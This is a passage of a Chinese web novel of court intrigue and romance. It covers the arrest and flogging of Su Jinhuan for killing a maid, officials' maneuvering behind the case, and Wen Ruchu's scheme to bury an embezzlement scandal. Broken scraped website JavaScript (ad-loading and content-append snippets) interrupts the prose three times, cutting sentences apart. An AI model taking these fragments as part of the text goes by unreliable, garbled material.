立时窜上两名家丁,蹒步直逼过来,伸手欲拿苏绾,惊得苏绾连连后退,眼神慌乱无措,“你、你们,不要靠近我。” 芸娘吓得心惊胆战,扯弄苏君识袖管,“老爷快快救命!” 苏夫人出身世家,养尊处优惯了,脾气一上来,作天作地,苏君识也招架不住。他耷拉着眉毛,一张老脸讪讪地凑过去,“夫人欲抓人送官,不必急于一时,等到衙门传唤再行不迟。” 然苏夫人却是等不得,绝不能给苏绾抓住机会,让她向温侍郎报信,他必将怒火烧到苏尽欢头上。 “给我上。”苏夫人掐腰横眉竖眼,丹凤眼燃起兴奋的火焰。 眼见家丁四只手即将触及苏绾,电光火石间,门外咣当咣当响起震天敲门声,伴随惊骇一声吼,“开门,刑部拿人!” 门外旋即进来一班挎刀差役,十几人之多,挤挤插插站满一屋子。 队末之处,蹒步走来京直隶刑部正六品主事,姓郑,五十岁上下年纪,鬓发花白,身材干瘦。 郑主事斜眼逡了一回,目光落点苏君识,“苏郎中问安,下官奉命上门,缉拿你子苏尽欢归案,其人现在何处?” 苏夫人睁着迷蒙的眼,抢着话头反问:“怎么是刑部来抓人?我儿犯何罪?谁人报的官?” 郑主事并不回话,又朝苏君识重申一遍:“苏尽欢人在何处?” 苏夫人不禁怒火窜起,手一拍桌案,喝道:“哪里来的毛脚差役,话也不说上来就拿人!” 郑主事瞟了一眼苏夫人,转过头来一味逼问苏君识,“苏郎中可知违法抗命的后果?” “苏某明白,明白。请主事放宽心。”苏君识毕竟朝中为官十余载,见多风雨,知道再多反抗亦无用。他端起袖子,耷拉着老眼,“逆子在东厢房午睡,请容苏某遣人唤他,不劳主事亲驾。” 苏夫人一旁挤眉弄眼,给苏君识使眼色,要他拦住郑主事。苏君识低下头,假装没看见。 苏君识打发小厮,召来睡眼惺忪的苏尽欢。其人穿着暗紫寝衣,趿拉布履,连外袍也来不及换。 纨绔少年高声叫嚷:“爷睡得正好,狗奴才吵我干嘛?小心我抽你十鞭子。” 待他前脚进入厅堂,几名差役即上前揿他臂膀,反绞双手。苏尽欢一见剑拔弩张场面,立刻慌了,左右环顾,惊喊道:“爹爹、娘亲,这是怎么回事啊?” 苏夫人眼一红,急上前两步,拈帕指着郑主事,“你们凭什么拿人?可有证据?你晓得我亲哥哥是谁伐?浙江省二品布政使殷潜,你敢拿我的儿子,不要命了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唾沫星子飞溅,喷了郑主事一脸,他脸色一沉,起手一扬,即推开苏夫人,将她趔趄推倒,跌了簪子,头发凌乱披散。 “下官奉命行事,其余一概不知,拦挡我者,按抗命不从论。” 苏夫人不死心,不顾披头散发,竟匍匐爬过去,扯郑主事的靴子哭嚎:“不许抓我儿,我跟你拼了!” 郑主事不欲跟女流之辈计较,使了个眼色,旋即上来两名差役,揿肩膀扯后腿,捉小猪一样将苏夫人抬离。拉扯中苏夫人杀猪般哭嚎,响彻云霄。 苏君识急得跺脚,两手颤颤巍巍去拉差役,又拉不动,转身拱手哀求:“贱内无心抗令,还请主事大人饶恕。” 郑主事咳嗽一声,号令差役住手,眼神一翻,“苏郎中,有话可写状纸,上报刑部衙门词讼,我等告辞先。” 话毕,郑主事同十几差役,并捆绑的苏尽欢,一齐绝门离去,余留苏家一家老小,对空咋舌嗟叹。 苏夫人伤心过度,几次昏死过去,捶胸顿足,只哭道:“造孽啊。我儿命绝矣。” 俄顷回过神,大言不惭,“不就是刑部么,怕他作甚。我这就去叫哥哥写奏折跟皇帝求情。” 苏君识气得蹀足横嗔,“愚蠢。你懂什么,三法司以刑部为主,其权之大,掌天下刑名,哪有说情求饶的份儿。就算当朝阁老,也不敢擅涉刑部审案。都怪你,平日里张扬跋扈,不识好歹,这京城的权贵人家,都被你得罪光了,如今出了事情,知道难了,早干什么去了?” 夫妻俩愁成一团,苏绾站在角落,全程看得清清楚楚,心内震撼不已。她曾预想过,因苏尽欢尚未入仕,苏家也非侯门贵族,隋太医出逃之后,要么怂了忍下这口气,要么去县衙或顺天府衙告状。绝没料到,竟然是刑部直接来拿人。 她不禁心里攥着一把汗,她不怕把事情闹大,唯恐一番辛苦之后,因证据不足而不了了之。只有暗自祈祷,但愿那个家伙,能够扭转乾坤。 芸娘唬得说不出话来,她疾步走至苏绾跟前,捂着胸脯带着哭音低声道:“怎么闹出这样大阵仗来?你确保万无一失吗?别到时候,连你自己也栽进去,那可如何是好?” 苏绾挽过芸娘冰凉的手,在她手心按了按,又凑近她耳鬓,低语道:“你放宽心,我心里有数,他们拿不着我把柄。” 芸娘心下稍安,但她也不知何时是头,只祈求苏绾平安无事。 这时节仆从来唤芸娘,宝哥儿在房里跌破脑门,正哭天抹泪,芸娘望了苏绾一眼,得到苏绾眼神确定,旋裙急急走了。 那边苏夫人倒过一口气,眼神一飘,瞟见苏绾立在一旁,嘴边挂着似笑非笑的笑意。苏夫人恍然大悟,她掉进庶女设下的陷阱。 苏夫人丹凤眼一沉,指着苏绾鼻子骂道:“原来是你这小贱蹄子捣鬼,是你联合奸夫,淫药毒害我儿,唆使刑部将他拿入大牢,这招棋,好狠毒!” 苏绾嗤笑一声,刚毅眼神傲然直视苏夫人,“母亲好会猜想,我苏绾何德何能,请的动刑部来抓捕苏尽欢?母亲既然这般笃定,你怎么不去报官?将你所有的猜想,写成一纸诉状,去刑部衙门口击登闻鼓鸣冤。让天下人,都来审一审母亲的冤屈!看看有谁,会信你!” 眼眸果敢,目光炯炯,带着不容侵犯的正气,令苏夫人不敢直视。她只恨自己在大理寺狱之时,没有狠心一刀宰了这个小婊子,如今被小婊子拿住七寸,狠命踢打。 开头有多嚣张,现在就有多狼狈。 苏绾站了半晌,看够了苏家人丑恶嘴脸,转身莲步轻挪。 忽闻苏君识轻飘飘一句,“你去求温如初,教他想办法,将弟弟从刑部大牢里救出来。” 他的语气刺耳,毫无恳请的意思,更像是一种命令,刺得苏绾蹙紧娥眉,“你做梦吧,苏君识。” 苏绾睨了一眼捶胸顿足的苏夫人,又瞟了瞟垂头丧气的苏君识,眉间舒展,嘴角扬着笑意,“上梁不正下梁歪,皆由因果报应。这只是开始,好戏还在后头呐。” 一缕清风吹歌逝,杏花飞帘散馀春。饶是这个春天将尽,迎接她的,会是光辉灿烂的明天。 36. 陪审 “你这是跟苏家杠上了。” 邵云礼剪着手臂,端详悬挂墙面的一柄紫菁宝剑,剑鞘雕刻莲花图纹,巧夺天工,剑柄镶嵌一颗墨玉,低调华丽。他尤其对那枚墨玉感兴趣,忍不住上前取下宝剑,摩挲赏玩剑柄上的玉石。 “前一阵子才逮捕苏家二小姐,如今又盯着苏家大少爷不放手。苏郎中到底哪里惹到你这支天煞孤星?” 时枫坐在太师椅,手里捧着一本《唐宋诗词集》,两脚交叉搭在玉石案台,恰好落在一条缝隙处,“这两个不是一码事。苏绾那次算是我冤枉了她,而苏尽欢却是罪有应得。” “你小子少跟我装公正不阿,我还不知道你?”邵云礼略微调整角度,让阳光恰好穿过墨玉,透射出一缕浅绿色晶莹幻彩,“你想的是,趁机拿捏苏家把柄,好骑在他们头上作威作福,胁迫苏家退婚,再将女儿转嫁给你。可有此事?” “胡说八道。”时枫一声嗤笑,可他放下书卷,再想多说几句反驳的理由,又有些理亏词穷。细究下来,其实前面说得都正确,单这最后半句话,荒唐无稽,匪夷所思。受人所托,忠人之事,他可从未想过,要娶那个疯婆娘。 他挑了挑剑眉,满眼泛着不屑,“她算个什么东西,一只奸猾狡诈的狐狸,我会想要娶她?白日做梦。” “先别急着否认嘛。” 墨玉那缕青芒柔幻似水,波光淼淼,映得四周泛起一层绿雾,迷蒙了邵云礼的眼。他左手攥拳,揉了揉眼帘,复又看过去。 “时将军倒是说说看,你煞费苦心为人家安排前途,不惜一切代价也要告倒苏家,不为谋娶,意图为何?” 邵云礼左看右看,认为这枚墨玉不同寻常,并非市面上常见的那种便宜货,看玉石质地当出产于漠南。 “难不成,”邵云礼抽出宝剑,翻转手腕,随手挽了一个剑花,剑锋直指时枫喉咙,“你这禽兽,欺负了人家小姑娘,被苏郎中敲诈勒索,你怀恨在心,欲报复苏家。” “有完没完?大理寺断案,就靠这般胡乱臆测?那我也不必求上你的门。” 不知被他哪句话刺激,时枫眼眸一凛,起手推开剑锋,拔座起身,踱步窗前,满园绿意盎然顷刻间在他的眼底舒展。 “苏家待她一直不好,总想着从她身上盘剥好处,动辄威胁打骂。之前在大理寺狱,她的那位母亲,竟然抓住她的把柄,逼迫她写什么‘悔婚书’。所幸有你相助,撤销关于她的诉讼,婚约才得以保持。” “这样的家庭,不待也罢。细细深究下来,其实是我替她招惹的是非,倘或先前我没有临街逮捕她,她也不至于被逼悔婚,责任在我。如今苏家犯在我手里,必然不会让他们好过。也算是我对她赔礼道歉吧。” 邵云礼听他长篇大论地剖析辩白,越发觉得他“此地无银三百两”,忍不住“噗嗤”一声笑出来,“你们睡过了?” “你说什么?!”时枫耳际瞬间炸裂,瞳孔急速缩小,头皮一阵一阵的发麻。他倏然旋过身去,双眼瞪着邵云礼,“话可不能乱讲。” “不是吗?”邵云礼嘴角上扬,“否则你干嘛急吼吼地替人家解决家事?分明是被人拿捏住‘把、柄’。”他刻意拖着长音,视线从时枫身上扫过,意味深长地停留在腰间绶带下方。 “去你娘的。”时枫咒骂道,袍子一甩,气鼓鼓回到桌案边,缩着身子塞进太师椅,既不否认,亦不承认,再不肯多发一言。 根据多年断案的经验,从时枫的反应来看,邵云礼基本可以确定,俩人之间绝非单纯的露水交情,恐怕早已私定终身。 他顺手一扬,剑锋划过一道美丽弧线,凌厉插回刀鞘,“我不管你俩之间孰是孰非,爱谁谁,与我无关。可你硬要插手苏家的案子,所须面对的,可不止苏郎中,乃至连殷布政使也算上,权且当他山高皇帝远,够不到你跟前。” 他掂量着宝剑,转身挂回到墙壁,“别忘了,她可是温侍郎的未婚妻。你当他是傻的,想不到谁在背后捣鬼?无缘无故替他未婚妻捉刀,非奸即盗。而你横加干涉刑部查案的行为,无异于自揭面罩,纯粹是败笔。” 言语之间被人压下一头,时枫很不高兴,脸色一沉,“败笔倒未必,你演戏演得真一点,他上哪里猜我去?你当我只为了打击苏家?我不过是棒打落水狗,看看它背后的主人是谁。刑部审完这案子后,谁站出来替苏家说话,谁就是他真正的底气。”他凤眸一沉,杀气浮动,牙齿咬得咯咯响,“弄清敌人是谁,我才好铆足劲儿,铁拳出击。” “你还太年轻……”邵云礼眉头紧蹙,瞪着眼前不知天高地厚的弱冠武将军,眼神充满无奈,又有一丝喟叹。 大约是想报方才被嘲笑的仇,时枫眉眼上下扫射他一番,冷笑道:“我道邵将军畏首畏尾,踟蹰不前,原来是被人唬破胆子。当年在漠南时,你可不是这般懦弱怕事。打鞑靼可汗那场战役,邵将军连军令都敢抗拒不从,为此还差点被我爹砍了脑袋。如今邵将军弃武从文,摇身一变成为邵大人,没想到连骨气也跟着丢了,可笑,可悲也。” 邵云礼身子一颤,青色袍子抖了抖,咬牙切齿,“滚你丫挺的,毛还没长齐的愣头青,敢反过来教我做事。你在京城官场混了不过仨月,人头都没摸清,脚丫子都够不着,见识过多少魑魅魍魉,鱼龙混杂?官场哲学堪比战术兵法,这里面盘根错节,官官相护,凭你一己之力,蚍蜉撼树谈何易?我看你才是白日做梦。” 一席肺腑之言,仿佛一柄利剑,直戳入时枫心窝。他承认,过去的几日里,他曾苦心孤诣筹谋,既为成就苏绾,也为阗满自己的野心。然而他好像似乎是太过轻敌——他从未想过敌人会比他更强大。 但他的骄傲不允许他投降认输,时枫低垂着眼眸,睫毛剪了剪,淡然道:“别人怎么想我管不着,我自个儿怎么想,我心里明白。岂能尽如人意,但求无愧我心。就算结果是一场梦,那我也要在梦境里,挥斥方遒,杀他个天昏地暗,痛痛快快。” 轮到邵云礼愕然,他怔忪睇着时枫,“你斗不过他。” “不试一试,又怎么知道我斗不过?”时枫负气似的扬着头,眼神中带着一股年轻人血气方刚,不撞南墙不回头的劲头。 邵云礼好像第一次认识时枫,又好像意料之内的熟识,俄延半晌,低头啐了一口,“也罢,你自己作死,我不拦你。谁让我在漠南欠你条命呢,就当老子还债。” “这个案子,你必输无疑。” 他摆了摆青色袍子,旋身即要出门,临了扔下一句话:“近来不要找我,我审案子时,最恨别人指手画脚。” 邵云礼阵风般离去,剩下时枫独自对空嗟叹,他忽然意识到,自己将要面对的敌人,与战场上刺刀拼杀的敌人,二者的本质,根本就不一样。 春花发尽,一夕欢喜一夕晖,柳叶无趣隐啼莺,垂落亭台楼阁,飞檐斗拱,葱茏半出烟。 刑部衙门高堂上,“明镜高悬”匾额挂立,堂前两排衙役,手持杀威棒森然而立。 时下刑部由云南清吏司代管签分,正五品郎中魏添全身穿青袍白鹇补子端坐案前,身侧多了张椅子,坐着大理寺卿邵云礼,一身绯袍孔雀补子。 这是苏尽欢虐杀奴婢一案,第三次公堂审讯,由刑部魏添全主审,大理寺邵云礼陪审。去提审被告的衙役尚未归来,趁着这个空档,两位大人闲叙话家常。 邵云礼随手翻阅案犯供词及堂审笔录,上面写着诸如“人证、物证俱全,死者尸身发现埋于后花园墙根,另有一名家养乳母受辱”等字样。 邵云礼动了动眉毛,赞叹道:“事实确凿无疑,案情无疑点,魏大人果然明察秋毫,料事如神。邵某多余此行,不如早些退堂回去,还能赶上喝下午茶。” 魏添全四十出头,云南提刑按察使司五品佥事出身,平调京直隶刑部五六年,断案经验丰富。他捋了捋胡须,摇头自谦:“哪里哪里,多亏邵大人前番提点,下官醍醐灌顶,茅塞顿开,这才从苏家府内挖出死者尸身,解开关键环节。邵大人才是真正的料事如神。” 两人互相吹捧一阵,彼此心知肚明,又都有些尴尬无趣。魏添全沉寂半晌,犹豫半天开口道:“下官有一事不明,还请邵大人解惑。” 他清咳一声,“吏部苏郎中也算下官同僚,其人谨小慎微,从不张扬跋扈。他的嫡子出了这档子事,可大亦可小,按理来说,应由县衙乃至顺天府承接词讼,怎么直接告到刑部来?可是他得罪了谁?” 不等回话,又翻了翻眼睛,“谁那么不开眼,诟谇谣诼苏家?都知道苏郎中的大舅子,乃是浙江二品布政使殷潜,这等于是要置殷潜的亲外甥于死地。” 邵云礼放下供词笔录,袖中抽出一柄折扇,横端比划一下,“浙江距离京城,三千里之遥,来回千里马跑六天,人走茶凉矣。况且按朝中惯例,凡涉及直系亲眷,事主均须回避,所谓避嫌。殷布政使鞭长莫及,有心无力,又有何所顾虑?” 他的话语模棱两可,常人听不出什么异常,然魏添全混迹官场十来年,打马虎眼之事游刃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有余,他敏锐地从邵云礼的只字片语中,抽丝剥茧,得到关键信息:幕后操纵者就在皇城根儿底下。 魏添全不免冷气直抽。 敢同封疆大吏对抗之人,尤其是江南第一富庶大省,财力物力顶半边江山,放眼天下,五根手指都数得过来。 魏添全抬眼眱了下邵云礼,“邵大人想必是不怕的,对吗?” 邵云礼轻摇折扇,嘴角一斜,“魏大人抬举了,邵某不过区区三品大理寺卿,论权论势,都低人一等,怎么会不怕呢?” 凭他一人当然不够格,他背后人物才是真正的黑手。可又能是谁呢? 邵云礼本人年方二十九,前任大理寺卿之子,六年前武官转文迁调大理寺衙门,子承父业,一步一步升迁至当前位置,勤勤恳恳,兢兢业业,并无任何卖官鬻爵行为。 而大理寺作为“三法司”,在波谲诡异的朝庭,一直力求公正廉明,不偏不倚,亦不拉帮结伙。 什么人能让他甘愿为虎作伥? 魏添全左思右想,仍不得其咎,欲探一探他口风,随手拿起签筒里一支白头令签,握在手里摆弄,“邵大人谦虚,那依大人所见,此案当如何决断?” 邵云礼收住折扇,眉毛一挑,“魏大人乃主审,邵某不过旁听,如何断案,当由魏大人做主。” 话语未落,魏添全已然面露一丝烦躁之色,正欲开口再问,邵云礼嘴角勾起,拱手拜天,“我等奉皇命,断天下刑名,掌司法谳治,拨乱反正,进言直谏。岂敢蝇营狗苟,徇私舞弊,畏惧权势,有愧于皇恩浩荡。” 畏惧权势?此案权势唯有苏尽欢一人,其余皆为贱民。 这是要他判定苏家嫡子罪名。 见邵云礼给出答案,魏添全立即端起袖子溜须拍马:“大人一颗丹心寄明月,明知山有虎,偏向虎山行。下官须向大人看齐,唯大人马首是瞻。” “魏大人过奖。”邵云礼亦端袖应和。 俩人又开启新一轮互相吹捧,正说话间,犯人苏尽欢押到。少年穿着囚服,头发蓬乱不堪,眼珠昏暗无光,昔日嚣张气焰烬灭,手脚束缚跪伏堂前。 魏添全执供词笔录,一一对句询问,“你知罪否?” 苏尽欢牢狱里折腾几日,受尽各种刑罚,囚服血迹斑斑,破落缝隙依稀可见伤痕累累。 但他纨绔子弟,父母疏于管教,自不懂“忍”字如何写法,歪着脑袋扯脖子叫喊:“我不认罪。” 当下叫嚣一番家族谱系,除了必不可少的舅舅殷潜外,连户部侍郎温如初的名号也搬出来,直言要让审判官“吃不了兜着走”。 直至衙役上前抽了他一大嘴巴,打得嘴丫子满是鲜血,这才止住叫嚷。 魏添全面皮微热,自觉在同僚面前丢了颜面,他瞥了一眼邵云礼,对方手里轻摇扇子,眼眸垂下,嘴角挂着一丝戏谑,俨然一副看好戏的劲头。 魏添全不禁发怒,喝道:“公堂之上,岂容你放肆。来人呐,准备行刑。” 案桌上放有四支签筒,分写四字“执法严明”,“执”字是捕捉令,其它三支签筒分为白头签、黑头签、红头签。 其中白头签,代表笞杖之刑最轻,犯人受刑后,皮肉无痛,可立刻走人;黑头签,犯人皮开肉绽,痛不欲生;若为红头签,犯人仅剩一口气,残废必然。 魏添全掂量一番刑罚,倘若苏尽欢认罪态度良好,他也愿意卖苏家一个人情,酌情打几板子敷衍了事。可那苏尽欢偏偏是个没眼力劲的,少不得要让其吃点苦头,但也不能一棒子打死。 中庸之道,不止适用于京城官场,纵观天下古今,无一不受裨益。 魏添全伸手执起一枚黑头签,掷在地上,“罪犯苏尽欢杀死奴婢,杖一百七,徒一年半。兼并□□乳母罪,二罪并罚,杖二百,徒二年。” 衙役拾起令签,便将苏尽欢绑在长凳,举起“王法”竹板杖,啪啪啪,用力拍打起来。 苏尽欢起先还叫骂八辈祖宗,俄顷,声音渐渐式微,除了哭喊爹娘以外,只剩粗重喘息声。 即将凑成五十,忽然堂外传来一声喝令:“住手!都察院佥都御史到。” 那佥都御史黑靴趸进堂前,宽袖一甩,横眉怒目,指着魏添全鼻子,“先帝定下三法司会审制度,都察院未行监督纠察之职前,刑部怎敢擅自定罪施刑?” 魏添全惊得一身冷汗,大理寺为谁捉刀他不晓得,可是都察院背后的人物,却是满朝文武尽知——就是当朝东阁大学士首辅章任梁。 37. 证据 那日端阳宴席被礼部徐尚书大闹诏狱打断,温如初不得不撇下苏绾,急匆匆赶回诏狱安抚徐尚书。 老头颤颤巍巍扯住温如初袖管,哑声道:“不干小儿的事,供银系老夫贪墨,要抓就抓我一人儿。” 温如初甩开徐尚书,两手一摊,表情颇为无奈,“老尚书大人糊涂,光天化日,怎可混淆是非,颠倒黑白?” 徐尚书老泪纵横,端起广袖久久俯身,“老夫拜求如初贤侄,放我儿一条生路,我愿赔上全部身家。” 老头言语恳切,全然不顾自己二品礼部尚书身份,直把全部希望寄托在三品户部侍郎身上,令旁人一阵唏嘘,感慨万千。父母之爱子,则为之计深远。 温如初的桃花眼狡黠地剪了剪,按下徐尚书的宽袖,“那倒不至于赔上整个徐家,令郎的事情,并非山穷水尽,无路可退。” 徐尚书老眼一亮,“贤侄是说……” 温如初抬眼扫了扫,扯住徐尚书袖子,避开人群,来到一处僻静场所,双手扶他坐在圆凳,“老尚书大人莫慌,下官有一计,定能替大人分忧解难。” 房间昏暗,映得月白锦袍格外耀眼,他转过身背对着徐尚书,桃花眼眸闪烁一点点兴奋的光辉。 “年初山东河南两地招了灾,导致果树结的果实小而酸涩,无处倾销,果农损失惨重。令郎作为太常寺少卿,得知果农生计无所依,起了仁慈济世之心,收购这批残次果品,用作祭天。上若有所问,可答曰:‘天命与人命,孰轻孰重?’圣上自不会再追究。此为其一。” “另有关于半数供银去路一案,京城西市有一摆‘平安救济摊’,广发免费糯米粽,摊主乃下官好友,生意人。下官与他说好,这摊子出资人乃太常寺,将端阳祭天供银广散天下穷苦百姓,以表圣上爱民如子之心。圣上怜惜太常寺仁怀心肠,必不会定你的罪。此为其二。” “其三,这两笔银钱一来一去,户部账本自会记录清楚,不敢给老尚书大人添麻烦。然而整件事情,均有太常寺一家承担,与我户部毫无干系,大人不要扯住户部不放,专心应对上策才是重要。” “最后,下官不得不提醒老尚书大人,这件事情说白了,还是枕边人起祸。大人保得住令郎性命,保不住他的官途,司礼监自然查的出谁做的手脚。不但令郎难以独善其身,大人的那位妾室,恐怕也得赔上性命,以平阗司礼监的怒火。” 一番话语将徐尚书的问题安排得明明白白,清清楚楚,不但解决了供银贪墨一案,将徐引从中彻底抽离出来,还安抚了司礼监的太监们。不可不谓良策也,然手段之波谲云诡,亦是令人喟然慨叹。 徐尚书眨了眨昏花老眼,抿了抿干涩嘴皮,内心感到无比震撼。眼前浮现出,三年前十九岁的登科状元温如初抽调户部员外郎时情形。 少年芝兰玉树,锦袍罗衫,长身玉立,唱喏问安,“下官温如初,拜见尚书大人。” 徐尚书见他星月之相,满生欢喜,拉着手闲叙:“老夫前日读了你写的一篇策论,讲的是国计民生,颇有一番独到见解,可有老师教你?” 温如初摇摇头,“下官自幼跟着父亲读书,未曾得外门训诫。” 徐尚书老眼一弯,拍拍他的肩膀,“无师自通,天生奇才也,老夫若请调你来礼部,户部梁尚书定然舍不得你。少不得今后多来我这里走动,喝两口礼部沏的‘白毫银针’。” 温如初桃花眼眸剪了剪,“承蒙尚书大人厚爱,下官自当聆听大人谆谆教诲。” 风烟吹三载,悠悠魂梦杳。 当年清风朗月的少年,如今已成长为胸有激雷的男人,有谋略,有手段,有胆识,不可小觑之。 徐尚书攥了攥温如初的肩膀,又拍了他两下,心内五味杂陈。羞赧,惭愧,愤怒,感激,惊诧,说不清,道不明的情绪,一时迷蒙了老头的心。 望着窗外屋檐吊放的纸扎葫芦,徐尚书喃喃道:“时将军所言有理,果然是条明路。” 声音囫囵不清,传进温如初耳际,他只听到只字片语:“将军”、“明路”。 “老尚书说甚?” 徐尚书摇摇头,俄延半晌,不发一言。 “哦。”温如初对此并未起疑心,他剪着手臂,畅然笑了笑,“话又说回来,下官最近遇到一桩烦心事,唯有老尚书能解我忧思。”桃花眼眸沉了沉,“圣上屡屡催促,与西藏吐蕃土司和亲一事,下官经过一番挖掘采选,终于有了眉目,选中一位才色俱佳,身份地位般配的女子。接下来,还要靠老尚书大人鼎力推介,才能促成秦晋之好。” 徐尚书十分茫然,“哪位女子?” 温如初勾唇一笑,“远在天边,近在眼前。不就是吏部苏郎中家的嫡女,名为苏沅芷。” 黄鹂临梦啼一声,流水落花春去也,天上人间。 供银贪墨案告终,太常寺全身而退,少卿徐引告病归乡,徐家小妾下落不明,后被人发现溺死井中,端阳节日烛火烬灭,天边不留一丝痕迹。 然则世事难预料,一波未平,一波又起。 户部礼部联合推介和亲人选一事,还未得促成,温如初就接到另一则让他坐不住椅子的消息。 苏家出事了,苏尽欢被下狱。 对于这样的结果,他并不为奇。被宠坏的公子哥,打杀家养的奴婢,再寻常不过。按以往惯例,县衙走一遭,直言该奴犯了盗窃□□一类死罪,主人自行惩罚之。衙门断不会难为,销籍即可,不过是一笔勾销的事。 然而苏尽欢,却是被刑部直接拿去,未曾经过县衙乃至顺天府审查。 听说是被太医院的隋太医告了,小小太医院竟然敢动苏郎中的嫡子,殷潜的外甥。 更不可思议的是,一件平常不过的案子,竟招来大理寺过问,全程监理。 种种迹象表明,这不是一件简单的案件,隐藏在背后的,是各方面力量角逐。很明显,有人要办苏家。 究竟会是谁? 不,不对,不是苏家。 苏家只不过是幌子,扳倒苏郎中这样官途黯淡的小吏,没有任何意义。倘若冲着殷潜而来,对方大可直接拿政绩把柄说事,何必不痛不痒地对付苏家。 显然,对方是冲他而来。 苏郎中包庇罪,苏尽欢杀人罪,这些罪名一旦定罪,苏家将身败名裂。而温家与苏家的联姻,也会面临被取消的后果。毕竟罪臣之女,又怎能娶进门呢? 道理上可通,尽管有些弯弯绕绕。 如果婚约取消,受益者又会是谁呢? 侍从远舟敬上一盏“碧螺春”,茶烟淼淼,轻如薄纱。温如初端着茶盏,睇着前方出神。恰时一缕斜阳映入书房,投射一道明亮的光剑,不偏不倚,正照在案上摆放的一枚墨玉上—— 之前在苏府,苏夫人交给他这枚墨玉,说是从奸夫身上扯下来的。彼时他还不能完全确定,纳征之日所发生的骚乱,到底是苏沅芷自导自演的阴谋,还是真的确有其事。 温如初得到墨玉之后,摩挲摆弄良久,未曾发现半点异常,索性丢在一边再未管它。不过是市面上常见的货品,西市的首饰铺子里多的是,一枚也就几两银子的事。 然而此刻,经过阳光沐浴和茶烟洗礼,玉石却散发出异样的青绿色透明光彩,微光粼粼,穿透袅袅茶烟。 温如初放下茶盏,摸过来那枚墨玉,摊在手心里揉了揉,好似捏着一颗碧绿的水晶。可一旦离开阳光照射,立即恢复普通黑色墨玉。 此物乃稀世宝玉,绝非中原所有。 桃花眼眸倒映一片青芒,亦如他头顶晦暗的绿云,是怒,是嗔,是咽不下去的苦涩。他狠狠地攥起手心,指甲嵌进肉里,肆意发泄满腔的怒火。 那个女人,终究是负了他。 他恨不得立刻冲到苏家,去将她掳了来,好好盘问审讯一番,问问她究竟有没有良心,怎敢背弃佛前誓言。又或者敲碎她的牙齿,从她嘴里撬出来,奸夫到底是谁。 可他有他的教养和分寸,也有不肯认输的傲娇。敌人挑衅的剑锋,已然指到他鼻子跟前,他没有退后的选择,唯有迎头一棒,与对方针锋相对。 跟他斗,活的不耐烦了。 敌人的这步棋,无非在探究他的底线,看他能忍到何时。那他就摆出自己真正的底气,跟对方硬碰硬。 温如初召来侍从远舟,嘱咐他送一封书信,至东阁大学士章任梁府邸。 时光春华可惜,一转眼又过了七八日。 自从苏尽欢被刑部拿去以后,苏家再没有封锁门户的必要,索性敞开大门。期间人来人往,三法司接连不断派人访查,搜集证据,苏家不得不一一尽心接待。 苏绾同芸娘、无霜等人,连同宝哥儿和乳娘,亦已回归紫竹苑住所。苏绾担心案子进展,时不时让芸娘去撬苏老爷的口风。得到的消息有好有坏,她一时也没有头绪,整日闷着,恹恹不乐。 苏绾欲派人去时枫那里打探情况,可据她对时枫的了解,必定打探不到任何消息线索,还会反过来拿住她的短处,又要强迫她“下单付账”。 “小姐,此人不可靠,莫上他的当。” 精细绣花针左右穿引,无霜正努力缝补苏绾那件翡翠烟罗绮云裙。任务十分艰巨,仅对襟被扯烂好几处,无消说裙裾和袖边。 本来早就该缝了,只是苏家出了一场大乱,无霜根本没机会做绣活。如今总算有些空暇,赶紧捣腾针线。 她边缝边叹气,小姐本来拿得出手的裙钗就不多,纳征那日还要依靠夫人施舍首饰鬓花,怕她“丢了苏家颜面”,弄到最后,也不知究竟谁丢脸。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 苏绾从纸堆里翻出一张薛涛笺,琢磨着写些诗词,“他虽看着冷戾无情,然朝廷三品大将军,又是绥靖王世子,言必信,行必果。他承诺会帮我,总不会骗了我去。” 无霜放下手中活计,给苏绾端来一盅才蒸好的燕窝羹,为她补充元气。自端阳始,苏绾落得一身伤痕,有新有旧,全身被狗啃过一般,惨不忍睹。再加上被婆子家丁摁在手里几次,浑身上下无一处平滑肌肤。 “霜儿不懂,为何一定要找上他?下手那样重,好像吃人一般。”无霜一脸怒容,西厢房一夜,她虽懵懂无知,但总归贴身伺候苏绾起居,发生什么事,她也猜得八九分。 苏绾捻起瓷匙,舀了一勺,吹散热气,“既求他办事,总不能空着两手,少不得吃点亏。我也认了。至于为何是他,我问问你,京城之内,除了深宫里的皇亲国戚,哪个还能不被他管制?他身为绥靖王世子,官拜京卫指挥使,拱卫京师,守护宫禁,统领京郊大营三万兵马。他有权有势有能力,天子脚下,直踩江山社稷命门,谁人敢在他头上撒野。便是皇宫上直卫锦衣卫,名义上受他辖制,也要让他三分。” 无霜嘟着小嘴,“凭他再厉害的人物,折腾小姐就是不对。卑鄙手段用尽,只为骗取小姐身子,这可是大将军做出来的德行?” 她重新坐回塌上,捡起那条裙子,继续缝缝补补,“小姐为何不去求姑爷?我们姑爷贵为三品大员,也能帮着小姐呀。姑爷哪里不好,温柔体贴,彬彬有礼,和姓时的比起来,简直一个天上,一个地下。小姐放着如玉公子不要,偏要招惹黑狗,定是中了邪。” 匙中羹已温,苏绾小口啜饮,燕窝温润入喉,沁人心脾。平常她根本吃不到这类名贵补品,管家嬷嬷总是皮笑肉不笑地打发无霜,“惯例已分完,剩下存货留给老爷夫人应急。”苏老爷苏夫人四旬刚过,身强体健,也不知有何可急。 及至苏尽欢昏睡三日,数不清的人参燕窝伺候着,更加没有苏绾的份。眼前这份燕窝,是芸娘亲自送过来,无霜拿去偷偷炖煮,躲过管家嬷嬷的眼线。 芸娘障袂窃笑,“老不死塞给我的,死乞白赖非要我吃,说什么补气养元。我自是吃不得这许多,你也别跟我客气,反正都是拿苏家的银子养苏家的人。” 苏绾取出绢帕,擦拭嘴角痕迹,触碰到旧日裂痕,脑海蓦然浮现醉仙楼那一幕。 穿石青色衣袍的男人居高临下,凤眸凛冽,长有薄茧的手指隔着汗巾在破裂唇际碾过,夹带着一丝雪松气息。 “你乖一点,我自会帮你解决问题。既找上我的门,绝无教你一无所获,另寻出路的道理。” 嘴角残余一丝隐隐作痛,但更多的还是畏葸之心。 